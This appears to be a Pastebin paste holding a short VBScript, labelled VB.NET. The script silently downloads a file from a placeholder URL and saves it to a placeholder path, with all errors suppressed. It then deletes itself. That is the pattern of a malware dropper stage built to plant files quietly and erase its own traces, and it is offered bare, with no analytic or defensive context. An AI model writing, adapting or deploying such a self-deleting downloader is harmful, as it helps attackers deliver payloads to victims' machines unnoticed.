Advertisement
westor

test

Jul 7th, 2016
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 0.43 KB | None | 0 0
  1. On Error Resume Next
  2. Set args = WScript.Arguments
  3. Url = "URL-HERE"
  4. dim xHttp: Set xHttp = createobject("MSXML2.SERVERXMLHTTP.6.0")
  5. dim bStrm: Set bStrm = createobject("Adodb.Stream")
  6. xHttp.Open "GET", Url, False
  7. xHttp.Send
  8. with bStrm
  9. .type = 1
  10. .open
  11. .write xHttp.responseBody
  12. .savetofile "PATH-HERE", 2
  13. end with
  14. Err.Clear
  15. Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement